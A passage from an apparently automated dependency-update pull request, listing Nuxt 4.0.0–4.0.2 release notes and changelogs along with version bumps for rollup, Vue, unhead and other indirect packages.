  • nuxt: Add sourcemap path transformation for client builds (#32313)
  • nuxt: Add warning for lazy-hydration missing prefix (#32832)
  • nuxt: Trigger call once navigation even when no suspense (#32827)
  • webpack: Handle null result from webpack call (84816d8a1)
  • kit,nuxt: Use reverseResolveAlias for better errors (#32853)

📖 Documentation

  • Fix publicDir alias (#32841)
  • Mention bun.lock for lockfile (#32820)
  • Add a section about augmenting types with TS project references (#32843)
  • Improve explanation of global middleware (#32855)

🏡 Chore

  • Update reproduction help text links (#32803)
  • Update pnpm ignored build scripts (#32849)
  • Improve internal types (052b98a35)

✅ Tests

  • Move tests for defineNuxtComponent out of e2e test (#32848)

🤖 CI

  • Move nightly releases into different concurrency group (664041be7)

❤️ Contributors

4.0.2

4.0.2 is the next patch release.

Timetable: 28 July.

👉 Changelog

compare changes

🩹 Fixes

  • nuxt: Provide typed slots for <ClientOnly> and <DevOnly> (#32707)
  • kit,nuxt,schema: Add trailing slash to some dir aliases (#32755)
  • nuxt: Constrain global defineAppConfig type (#32760)
  • kit: Include module types in app context (#32758)
  • nuxt: Include source base url for remote islands (#32772)
  • vite: Use vite node server to transform requests (#32791)
  • kit: Use mlly to parse module paths (#32386)
  • nuxt: Execute all plugins after error rendering error.vue (#32744)

📖 Documentation

  • Update Nuxt installation command to use npm create nuxt@latest (#32726)
  • Add AI-assisted contribution guidelines (#32725)
  • Hydration best practice (#32746)
  • Add example for module .with() (#32757)
  • Replace dead Vue Router docs links (#32779)
  • Update nightly version references (#32776)

🏡 Chore

  • Update reproduction links for bug-report template (#32722)
  • Update unbuild and use absolute path in dev stubs (#32759)

✅ Tests

  • Ignore vue module.exports export (c4317e057)

🤖 CI

  • Release pkg.pr.new for main/3.x branches as well (b0f289550)
  • Apply 3x tag to latest v3 release (5f6c27509)

❤️ Contributors

4.0.1

v4.0.1 is the first regularly scheduled patch release of v4

It will be followed up later this week with v3.18, which will backport a number of the features/fixes from Nuxt v4 to v3.

✅ Upgrading

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

👉 Changelog

compare changes

🩹 Fixes

  • nuxt: Add nuxt.schema files to node tsconfig context (#32644)
  • nuxt,vite: Unpin nitropack (ed5ad64ad)
  • nuxt: Expose shared aliases within shared/ dir (#32676)

💅 Refactors

  • nuxt: Pass file language directly to parser options (#32665)

📖 Documentation

  • Remove rc tag in guide (232b14e2f)
  • Remove -t v4 tag from getting started (343f59235)
  • Added new Shared folder to the example of v4 folder structure (#32630)
  • Update nuxt.new links to v4 (#32639)
  • Improve grammar (#32640)
  • Typos (#32567)
  • Fix abbreviation (#32613)
  • Reference noUncheckedIndexedAccess rule change in v4 guide (#32643)
  • Add missing import in alias config example (#32648)
  • Correct alias for local fonts in styling guide (#32680)
  • Add best practices section (#31609)
  • Fix links to Nitro docs (#32691)

📦 Build

  • vite: Specify nitropack types as external (39be1b3a9)

🏡 Chore

🤖 CI

  • Trigger website redeploy on main branch (#32695)

❤️ Contributors

4.0.0

Nuxt 4.0 is here! 🎉

After a year of real-world testing, we're excited to announce the official release of Nuxt 4. This is a stability-focused major release, introducing a few thoughtful breaking changes in order to improve development experience.

If you've been following along, you'll recognize many of these features and changes — and if you're new to them, we hope you'll welcome them.

🔥 What's new?

Nuxt 4 is all about making your development experience smoother:

  • Cleaner project organization with the new app/ directory structure
  • Smarter data fetching - we've taken the opportunity to address some inconsistencies and improve performance with the data layer
  • Better TypeScript support with project-based separation between the different contexts in your project - app code, server code, shared/ folder, and configuration
  • Faster CLI and development with adoption of internal sockets and a faster CLI

Why these features in particular? Mostly because these kind of improvements have required making changes that are technically breaking.

In general, we aim for a hype-free approach to releases. Rather than save up features for a big release, we've been shipping improvements in Nuxt 3 minor releases.

We've also spent a lot of time figuring out how to implement these changes in a backwards-compatible way, and I hope that means that most Nuxt 3 projects can upgrade with a minimum of effort.

I'd advise reading through the upgrade guide before you start, to understand what areas of your app might be affected.

🗂️ New project structure

The biggest visible change is how projects are organized. Your application code now lives in an app/ directory by default:

my-nuxt-app/
├─ app/
│  ├─ components/
│  ├─ pages/
│  ├─ layouts/
│  └─ app.vue
├─ public/
├─ shared/
├─ server/
└─ nuxt.config.ts

This helps keep your code separate from node_modules/ and .git/, which makes file watchers faster (especially on Windows and Linux). It also gives your IDE better context about whether you're working with client or server code.

Tip

Don't want to migrate? That's totally fine! Nuxt will detect your existing structure and keep working exactly as before.

🎨 Updated UI templates

Nuxt’s starter templates have an all new look, with improved accessibility, default titles, and template polish (#27843).

🔄 Smarter data fetching

We've made useAsyncData and useFetch work better. Multiple components using the same key now share their data automatically. There's also automatic cleanup when components unmount, and you can use reactive keys to refetch data when needed. Plus, we've given you more control over when cached data gets used.

Some of these features have already been made available in Nuxt v3 minor releases, because we've been rolling this out gradually. Nuxt v4 brings different defaults, and we expect to continue to work on this data layer in the days to come.

🔧 Better TypeScript experience

Nuxt now creates separate TypeScript projects for your app code, server code, shared/ folder, and builder code. This should mean better autocompletion, more accurate type inference and fewer confusing errors when you're working in different contexts.

Tip

With Nuxt 4, you will only need one tsconfig.json file in your project root!

This is probably the single issue that is most likely to cause surprises when upgrading, but it should also make your TypeScript experience much smoother in the long run. Please report any issues you encounter. 🙏

⚡ Faster CLI and development

In parallel with the release of v4, we've been working on speeding up @nuxt/cli.

  • Faster cold starts - Development server startup is noticeably faster
  • Node.js compile cache - Automatic reuse of the v8 compile cache
  • Native file watching - Uses fs.watch APIs for fewer system resources
  • Socket-based communication - The CLI and Vite dev server now communicate via internal sockets instead of network ports, reducing overhead — particularly on Windows

These improvements combined can make a really noticeable difference in your day-to-day development experience, and we have more planned.

🚀 How to upgrade

Although any major release brings breaking changes, one of our main aims for this release is to ensure that the upgrade path is as smooth as possible. Most of the breaking changes have been testable with a compatibility flag for over a year.

Most projects should upgrade smoothly, but there are a few things to be aware of:

  • Nuxt 2 compatibility has been removed from @nuxt/kit. (This will particularly affect module authors.)
  • Some legacy utilities and deprecated features have been cleaned up.
  • The new TypeScript setup might surface some type issues that were hidden before.
  • A few modules might need further updates for full Nuxt 4 compatibility.

Don't worry though — for most breaking changes, there are configuration options to revert to the old behavior while you adjust.

1. Update Nuxt

Our recommendation for upgrading is to run:

npx nuxt upgrade --dedupe

This will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.

2. Optional: use migration tools

We’ve also partnered with Codemod to automate many, though not all, migration steps:

npx codemod@latest nuxt/4/migration-recipe

3. Test and adjust

Run your tests, check that everything builds correctly, and fix any issues that come up. The upgrade guide has detailed migration steps for specific scenarios.

We'd recommend reading through it in full before starting your upgrade, to understand what areas of your app might be affected.

🗺️ What's next?

We're planning quick patch releases to address any issues that come up. Nuxt 3 will continue to receive maintenance updates (both bug fixes and backports of features from Nuxt 4) until the end of January 2026, so there's no rush if you need time to migrate.

Looking ahead, we plan to release Nuxt 5 on the sooner side, which will bring Nitro v3 and h3 v2 for even better performance, as well as adopting the Vite Environment API for an improved (and faster!) development experience. And there's a lot more in the works too!

And, quite apart from major releases, we have a lot of exciting features planned to make their way into Nuxt 3.x and 4.x release branches, including support for SSR streaming (#4753), a first-party accessibility module (#23255), built-in fetch caching strategies (#26017), more strongly typed fetch calls (landing in Nitro v3), dynamic route discovery (#32196), multi-app support (#21635) and more.

❤️ Thank you

This release is credit to so many people, particularly those who have been testing v4 compatibility mode over the past year. I'm really grateful — thank you for all your help!

Happy coding with Nuxt 4! 🚀

👉 Changelog

compare changes

🚀 Enhancements

  • ui-templates: Update template branding for v4 (#27843)
  • deps: Upgrade to latest versions of c12, jiti and unbuild (#27995)
  • kit: Reimplement cjs utils using mlly (#28012)
  • nuxt: Generate basic jsdoc for module config entry (#27689)
  • schema: Split dev/prod build directories (#28594)
  • nuxt: Cache vue app build outputs (#28726)
  • deps: Update dependency vite to v6 (main) (#30042)
  • nuxt: Add integration with chrome devtools workspaces (#32084)
  • kit: Support single import in addServerImports (#32289)
  • nuxt: Add onWatcherCleanup to imports presets (#32396)
  • kit,nuxt,schema: Separate ts projects for node/app/nitro (#30665)
  • nuxt: Support lazy hydration macros (#31192)
  • nuxt: Export <NuxtTime> prop types (#32547)
  • nuxt: Add route announcer to default app.vue (#32621)
  • nuxt: Expose page routes to nitro for o11y (#32617)

🔥 Performance

  • nuxt: ⚠️ Don't call render:html for server islands (#27889)
  • vite: Don't write stub manifest for legacy bundler (#27957)
  • kit: Update env expansion regex to match nitro (#30766)
  • vite: Communicate with vite-node via internal socket (#32417)

🩹 Fixes

  • schema,vite: ⚠️ Do not allow configuring vite dev bundler (#27707)
  • schema: ⚠️ Default to compatibilityVersion: 4 (#27710)
  • nuxt: ⚠️ Emit absolute paths in builder:watch hook (#27709)
  • nuxt: ⚠️ Improve default asyncData value behaviour (#27718)
  • nuxt: ⚠️ Remove old experimental options (#27749)
  • kit: ⚠️ Support loading nuxt 4 and drop support for <=2 (#27837)
  • nuxt: ⚠️ Remove __NUXT__ after hydration (#27745)
  • ui-templates: Add default title back (3415241a6)
  • kit: ⚠️ Drop support for building nuxt 2 projects (1beddba6a)
  • nuxt: ⚠️ Bump internal majorVersion to 4 (7aae4033b)
  • kit: Mark resolvePath utils as sync (655e1473d)
  • kit: Revert change to tryResolveModule (2d136e04c)
  • kit: Add back requireModule and tryRequireModule (#28013)
  • nuxt: Hide unhandled error messages in prod (#28156)
  • nuxt: Add useScriptCrisp scripts stub (0c3cc4cf3)
  • nuxt: ⚠️ Remove unused globalName property (#28391)
  • nuxt: Use static import for updateAppConfig in HMR (#28349)
  • vite: Write dev manifest when ssr: false (#28488)
  • kit,nuxt,schema: ⚠️ Remove other support for nuxt2/bridge (#28936)
  • webpack: Only insert dynamic require plugin when building (b619b35e9)
  • nuxt: Guard window access (d874726ff)
  • nuxt: Remove unneeded subpath import (18a6ef1ca)
  • webpack: Handle new webpack chunk format (d293c06d2)
  • kit: ⚠️ Do not check compatibility for nuxt version < 2.13 (f94cda4c8)
  • ui-templates: Fix examples link and add bluesky (#30866)
  • vite: Use resolveId from vite-node to resolve deps (#30922)
  • nuxt: Import isEqual from main ohash export (3ec1a1e5e)
  • vite: Don't set output.preserveModules (ce49734aa)
  • nuxt: Ignore #app-manifest import in dev mode (#31539)
  • nuxt: Ensure layer array-type config is merged in order (#31507)
  • schema: Turn off purgeCachedData until v4 (7aa3a01ae)
  • schema: Re-enable purgeCachedData by default (06745604c)
  • webpack: Expand dynamic require regexp to match new pattern (62e700daa)
  • nuxt: Add back missing reset of .execute (d79e14612)
  • nuxt,schema: ⚠️ Remove support for compatibilityVersion: 3 (#32255)
  • kit,nuxt,schema,vite: ⚠️ Remove support for some deprecated options (#32257)
  • nuxt: ⚠️ Don't rerun asyncdata w/ existing data in useAsyncData (#32170)
  • nuxt: Scan nitro handlers before writing types (a3698c08b)
  • nuxt: Force asyncData errorValue/value to be undefined (7e4eac655)
  • nuxt: ⚠️ Remove public and assets aliases (#32119)
  • webpack: Update dynamic require pattern (#32278)
  • schema: ⚠️ Remove top level generate option (#32355)
  • ui-templates: Add aria tag on Nuxt logo (#32429)
  • nuxt: Augment runtime config in server context (#32482)
  • kit: Do not skip layer with defined srcDir (#32487)
  • deps: Upgrade to rc version of @nuxt/cli (#32488)
  • kit: Ensure legacy tsConfig doesn't exclude too many types (#32528)
  • kit: Ensure types of module entrypoints are in node project (#32551)
  • kit: Add layer app/ and server/ folders into tsconfigs (#32592)
  • schema: Disable changing compat version (#32600)
  • nuxt: Allow modules to add to typescript.hoist (#32601)
  • nuxt: Include shared declarations in tsconfig.server.json (#32594)
  • nuxt: Retain old data when computed key changes (#32616)
  • nuxt: ⚠️ Bump compatibilityDate to 2025-07-15 (e35e1ccb9)
  • nuxt: Only use scrollBehaviorType for hash scrolling (#32622)

💅 Refactors

  • kit,nuxt: ⚠️ Drop nuxt 2 + ejs template compile support (#27706)
  • nuxt: ⚠️ Move #app/components/layout -> #app/components/nuxt-layout (209e81b60)
  • kit,nuxt,vite,webpack: ⚠️ Remove legacy require utils (#28008)
  • nuxt: Simplify check of dedupe option (#28151)
  • nuxt: Use direct import of installNuxtModule (501ccc375)
  • kit: Remove internal function (#32189)
  • schema: ⚠️ Remove config.schema.json export + defaults (#32254)
  • nuxt: Migrate to oxc-walker (#32250)
  • nuxt,schema: Use oxc for onPrehydrate transform (#32045)

📖 Documentation

  • Indicate what useAsyncData must return (#28259)
  • Update deep default for useAsyncData & useFetch (#28564)
  • Fix link to issue (4d13f1027)
  • Improve wording for deep option (bec85dfcd)
  • Update v4 docs with new folder structure (#32348)
  • Update .nuxtignore examples for v4 structure (#32489)
  • Add reference to useNuxtData in data fetching composable pages (#32589)
  • Temporarily use v4 template for v4 docs (850a879d3)
  • Document the --modules flag in the init command (#32599)

📦 Build

  • deps: Bump esbuild from 0.23.1 to 0.25.0 (#31247)

🏡 Chore

  • Manage update to vite-plugin-checker separately (02d46dd3d)
  • Update docs typecheck command (#28433)
  • Improve accuracy of 4.x changelog (#28706)
  • Bump package versions internally to v4 (16fab7778)
  • kit: Fix regressed version v4 (a1c052057)
  • Dedupe lockfile (f14ef6bc9)
  • Update once more (4d22f4d5a)
  • Specify workspace engines.node compatibility (a26322f5f)
  • Remove special treatment for typescript (08766a0cd)
  • Reenable quarantine for webpack/memfs (for 3.x benefit) (9cb94e55e)
  • Remove extra dep (f0ec34298)
  • Add back nuxi (9aa4c7c3b)
  • Remove stray nuxi version again (#30547)
  • Fix lockfile (7d345c714)
  • Remove second version of vitest (#30868)
  • Ignore oxc-parser updates temporarily (1cd0fb5cb)
  • Ignore nitro/templates directory (e531477f8)
  • Fix ui-templates build (c8a1b9e80)
  • Mkdir for ui-templates (853408a1e)
  • Add webpack resolution (088bcd459)
  • Migrate playground + test fixtures to new directory format (#32357)
  • schema: Remove duplicated documentation (349f75447)

✅ Tests

  • Remove unused experimental options (6d971ddc9)
  • Add additional attw test for built packages (#30206)
  • Add minimal pages fixture (#30457)
  • Update bundle size assertion (f458153d9)
  • Update bundle size assertion (4cce6bf8d)
  • Benchmark minimal fixture instead (#31174)
  • Normalise scoped css + pass logger to configResolved (8d3bd4f9f)
  • More precise asyncData tests (023fb13eb)
  • Extend timeout when waiting for hydration (f34c6c240)
  • Also assert status (4f6bdf755)

🤖 CI

  • Bump node v22 (#30251)
  • Run workflows on merge groups (ff37ad9df)
  • Do not invoke semantic-pr test on merge groups (fadd618d1)

⚠️ Breaking Changes

  • nuxt: ⚠️ Don't call render:html for server islands (#27889)
  • schema,vite: ⚠️ Do not allow configuring vite dev bundler (#27707)
  • schema: ⚠️ Default to compatibilityVersion: 4 (#27710)
  • nuxt: ⚠️ Emit absolute paths in builder:watch hook (#27709)
  • nuxt: ⚠️ Improve default asyncData value behaviour (#27718)
  • nuxt: ⚠️ Remove old experimental options (#27749)
  • kit: ⚠️ Support loading nuxt 4 and drop support for <=2 (#27837)
  • nuxt: ⚠️ Remove __NUXT__ after hydration (#27745)
  • kit: ⚠️ Drop support for building nuxt 2 projects (1beddba6a)
  • nuxt: ⚠️ Bump internal majorVersion to 4 (7aae4033b)
  • nuxt: ⚠️ Remove unused globalName property (#28391)
  • kit,nuxt,schema: ⚠️ Remove other support for nuxt2/bridge (#28936)
  • kit: ⚠️ Do not check compatibility for nuxt version < 2.13 (f94cda4c8)
  • nuxt,schema: ⚠️ Remove support for compatibilityVersion: 3 (#32255)
  • kit,nuxt,schema,vite: ⚠️ Remove support for some deprecated options (#32257)
  • nuxt: ⚠️ Don't rerun asyncdata w/ existing data in useAsyncData (#32170)
  • nuxt: ⚠️ Remove public and assets aliases (#32119)
  • schema: ⚠️ Remove top level generate option (#32355)
  • nuxt: ⚠️ Bump compatibilityDate to 2025-07-15 (e35e1ccb9)
  • kit,nuxt: ⚠️ Drop nuxt 2 + ejs template compile support (#27706)
  • nuxt: ⚠️ Move #app/components/layout -> #app/components/nuxt-layout (209e81b60)
  • kit,nuxt,vite,webpack: ⚠️ Remove legacy require utils (#28008)
  • schema: ⚠️ Remove config.schema.json export + defaults (#32254)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/plugin-commonjs (indirect, 28.0.6 → 28.0.9) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​rollup/plugin-node-resolve (indirect, 16.0.1 → 16.0.3) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​rollup/plugin-replace (indirect, 6.0.2 → 6.0.3) · Repo

Sorry, we couldn’t find anything useful about this release.

↗️ @​rollup/pluginutils (indirect, 5.2.0 → 5.3.0) · Repo · Changelog

Release Notes

5.3.0 (from changelog)

2025-09-04

Features

  • feat: add suffixRegex & support multiple string (#1886)

Does any of this look wrong? Please let us know.

↗️ @​rollup/rollup-android-arm-eabi (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-android-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-x64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-freebsd-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-freebsd-x64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-gnueabihf (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-musleabihf (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-riscv64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-riscv64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-s390x-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-arm64-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-ia32-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-x64-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​sindresorhus/is (indirect, 7.0.1 → 7.1.1) · Repo

Release Notes

7.1.1

  • Fix is.class for minified class expression (#217) e7c84fc

v7.1.0...v7.1.1

7.1.0

  • Add is.optional and assert.optional 1f2440a
  • Fix TypeScript type narrowing issue with isUrlString c68ad76

v7.0.2...v7.1.0

7.0.2

v7.0.1...v7.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ @​unhead/vue (indirect, 2.0.12 → 2.0.19) · Repo

Release Notes

2.0.19

   🐞 Bug Fixes

    View changes on GitHub

2.0.18

   🏎 Performance

    View changes on GitHub

2.0.17

No significant changes

    View changes on GitHub

2.0.14

   🐞 Bug Fixes

    View changes on GitHub

2.0.13

   🐞 Bug Fixes

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 56 commits:

↗️ @​vercel/nft (indirect, 0.29.4 → 0.30.4) · Repo

Release Notes

0.30.4

0.30.4 (2025-11-19)

Bug Fixes

0.30.3

0.30.3 (2025-10-16)

Bug Fixes

0.30.2

0.30.2 (2025-09-26)

Bug Fixes

  • fs.readFile emit relative assets using cwd (#542) (dc4ab0b)

0.30.1

0.30.1 (2025-08-23)

Bug Fixes

0.30.0

0.30.0 (2025-07-23)

Features

  • add support for module-sync export condition in Node.js 22+ (#534) (7e915aa), closes #531

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ @​vitejs/plugin-vue (indirect, 5.2.4 → 6.0.3) · Repo · Changelog

Release Notes

6.0.3

Please refer to CHANGELOG.md for details.

6.0.2

Please refer to CHANGELOG.md for details.

6.0.1

Please refer to CHANGELOG.md for details.

6.0.0

Please refer to CHANGELOG.md for details.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 23 commits:

↗️ @​vitejs/plugin-vue-jsx (indirect, 4.2.0 → 5.1.2) · Repo · Changelog

Release Notes

5.1.2

Please refer to CHANGELOG.md for details.

5.1.1

Please refer to CHANGELOG.md for details.

5.1.0

Please refer to CHANGELOG.md for details.

5.0.1

Please refer to CHANGELOG.md for details.

5.0.0

Please refer to CHANGELOG.md and the Vite 5 Announcement blog post for details.

Vite 5 Announcement

Does any of this look wrong? Please let us know.

↗️ @​vue/babel-plugin-jsx (indirect, 1.4.0 → 2.0.1) · Repo · Changelog

Release Notes

2.0.1

   🚨 Breaking Changes

    View changes on GitHub

1.5.0

   🚀 Features

    View changes on GitHub

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 24 commits:

↗️ @​vue/compiler-dom (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/compiler-sfc (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/reactivity (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/runtime-core (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/runtime-dom (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/server-renderer (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

